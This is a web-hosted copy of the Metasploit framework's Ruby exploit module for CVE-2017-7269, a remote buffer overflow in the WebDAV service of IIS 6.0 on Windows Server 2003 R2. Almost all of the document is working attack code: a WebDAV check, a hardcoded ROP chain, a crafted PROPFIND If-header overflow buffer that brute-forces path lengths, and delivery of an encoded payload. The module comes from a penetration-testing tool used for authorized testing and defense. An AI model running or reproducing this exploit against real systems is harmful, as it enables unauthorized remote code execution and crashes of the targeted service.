Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Microsoft IIS WebDav ScStoragePathFromUrl Overflow',13'Description' => %q{14Buffer overflow in the ScStoragePathFromUrl function15in the WebDAV service in Internet Information Services (IIS) 6.016in Microsoft Windows Server 2003 R2 allows remote attackers to17execute arbitrary code via a long header beginning with18"If: <http://" in a PROPFIND request, as exploited in the19wild in July or August 2016.2021Original exploit by Zhiniang Peng and Chen Wu.22},23'Author' =>24[25'Zhiniang Peng', # Original author26'Chen Wu', # Original author27'Dominic Chell <[email protected]>', # metasploit module28'firefart', # metasploit module29'zcgonvh <[email protected]>', # metasploit module30'Rich Whitcroft', # metasploit module31'Lincoln' # minor updates to metasploit module32],33'License' => MSF_LICENSE,34'References' =>35[36[ 'CVE', '2017-7269' ],37[ 'BID', '97127' ],38[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],39[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]40],41'Privileged' => false,42'Payload' =>43{44'Space' => 2000,45'BadChars' => "\x00",46'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,47'DisableNops' => 'True',48'EncoderOptions' =>49{50'BufferRegister' => 'ESI',51}52},53'DefaultOptions' =>54{55'EXITFUNC' => 'process',56'PrependMigrate' => true,57},58'Targets' =>59[60[61'Microsoft Windows Server 2003 R2 SP2 x86',62{63'Platform' => 'win',64'Arch' => ARCH_X8665},66],67],68'Platform' => 'win',69'DisclosureDate' => '2017-03-26',70'DefaultTarget' => 0,71'Notes' =>72{73'AKA' => ['EXPLODINGCAN'],74'Stability' => [CRASH_SERVICE_DOWN],75'Reliability' => [REPEATABLE_SESSION],76'Side Effects' => []77}78))7980register_options(81[82OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),83OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),84OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),85])86end8788def min_path_len89datastore['MINPATHLENGTH']90end9192def max_path_len93datastore['MAXPATHLENGTH']94end9596def supports_webdav?(headers)97if headers['MS-Author-Via'] == 'DAV' ||98headers['DASL'] == '<DAV:sql>' ||99headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||100headers['Public'].to_s.include?('PROPFIND') ||101headers['Allow'].to_s.include?('PROPFIND')102return true103end104105false106end107108def check109res = send_request_cgi({110'uri' => target_uri.path,111'method' => 'OPTIONS'112})113114unless res115vprint_error 'Connection failed'116return Exploit::CheckCode::Unknown117end118119unless supports_webdav? res.headers120vprint_status 'Server does not support WebDAV'121return CheckCode::Safe122end123124if res.headers['Server'].to_s.include? 'IIS/6.0'125return CheckCode::Vulnerable126end127128CheckCode::Detected129end130131# corelan.be132# rop chain generated with mona.py133def create_rop_chain134[135#MSVCRT.dll - all Windows 20031360x77bcb06c, # POP ESI # RETN1370x77bef001, # Write pointer # Garbage1380x77bb2563, # POP EAX # RETN1390x77ba1114, # <- *&VirtualProtect()1400x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN1410x41414141, # junk1420x77bbee22, # XCHG EAX,ESI # ADD BYTE PTR DS:[EAX],AL # RETN1430x77bc9801, # POP EBP # RETN1440x77be2265, # ptr to 'push esp # ret'1450x77bb2563, # POP EAX # RETN1460x03C0946F,1470x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)1480x77bb48d3, # POP EBX, RET1490x77bf21e0, # .data1500x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN1510x77bbfc02, # POP ECX # RETN1520x77bef001, # W pointer (lpOldProtect) (-> ecx)1530x77bd8c04, # POP EDI # RETN1540x77bd8c05, # ROP NOP (-> edi)1550x77bb2563, # POP EAX # RETN1560x03c0944f,1570x77bdd441, # SUB EAX, 03c0940f1580x77bb8285, # XCHG EAX,EDX # RETN1590x77bb2563, # POP EAX # RETN1600x90909090, # nop1610x77be6591, # PUSHAD # ADD AL,0EF # RETN162].pack("V*")163end164165#encode string as UTF-8 char format that when converted to UTF-16LE166#will represent chars we want in memory167def utf_encode_str(str)168str.force_encoding('UTF-16LE').encode('UTF-8')169end170171#filler chars to be encoded172def make_junk(len)173utf_encode_str rand_text_alpha(len)174end175176def exploit177# extract the local servername and port from a PROPFIND request178# these need to be the values from the backend server179# if testing a reverse proxy setup, these values differ180# from RHOST and RPORT but can be extracted this way181vprint_status('Extracting ServerName and Port')182res = send_request_raw(183'method' => 'PROPFIND',184'headers' => {185'Content-Length' => 0186},187'uri' => target_uri.path188)189fail_with(Failure::BadConfig, 'Server did not respond correctly to WebDAV request') if(res.nil? || res.code != 207)190191xml = res.get_xml_document192url = URI.parse(xml.at("//a:response//a:href").text)193server_name = url.hostname194server_port = url.port195server_scheme = url.scheme196197http_host = "#{server_scheme}://#{server_name}:#{server_port}"198vprint_status("Using http_host #{http_host}")199200print_status "Trying path length #{min_path_len} to #{max_path_len} ..."201202min_path_len.upto(max_path_len) do |path_len|203vprint_status("Trying path length of #{path_len}...")204205begin206buf1 = "<#{http_host}/"207buf1 << rand_text_alpha(114 - path_len)208buf1 << make_junk(32)209#survive SHR instruction 0x02020202210buf1 << utf_encode_str([0x02020202].pack('V'))211#str pointer to .data httpext.dll # ebp-328 # used in wcslen calculation212buf1 << utf_encode_str([0x680312c0].pack('V'))213buf1 << make_junk(40)214#0x680313c0 -> destination pointer used with memcpy215buf1 << utf_encode_str([0x680313c0].pack('V'))216buf1 << ">"217buf1 << " (Not <locktoken:write1>) <#{http_host}/"218buf1 << rand_text_alpha(114 - path_len)219buf1 << make_junk(28)220#0x680313c0 -> pointer to call itself at same address for vtable call221buf1 << utf_encode_str([0x680313c0].pack('V'))222#ROP 2 gadget -> advance ESP past previous instructions to start of ROP chain223#msvct.dll 0x77bdf38d # ADD ESP,1C # POP ECX # POP EBX # POP EAX # RETN224buf1 << utf_encode_str([0x77bdf38d].pack('V'))225buf1 << make_junk(8)226#0x680313c0 -> vtable pointer passed to EAX for call [eax +24]227#point to itself at [eax]228buf1 << utf_encode_str([0x680313c0].pack('V'))229buf1 << make_junk(16)230#ROP 1 gadget -> 0x68016082 stack flip get ECX into ESP and push EAX231#which also points to new ESP232buf1 << utf_encode_str([0x68016082].pack('V'))233buf1 << utf_encode_str(create_rop_chain)234#GetPC # push esp; pop esi; add esi, 10235buf1 << utf_encode_str("\x54\x5e\x83\xc6")236#GetPC ESI +10 plus encode alignment237buf1 << utf_encode_str("\x0a\x41")238buf1 << payload.encoded239buf1 << ">"240241vprint_status 'Sending payload'242res = send_request_raw(243'method' => 'PROPFIND',244'uri' => target_uri.path,245'headers' => {246'Content-Length' => 0,247'If' => "#{buf1}"248}249)250next unless res251252vprint_status("Server returned status #{res.code}")253next if res.code == 502 || res.code == 400254255return if session_created?256257vprint_status("Unknown Response: #{res.code}")258rescue ::Errno::ECONNRESET259vprint_status('got a connection reset')260next261end262end263end264end265266267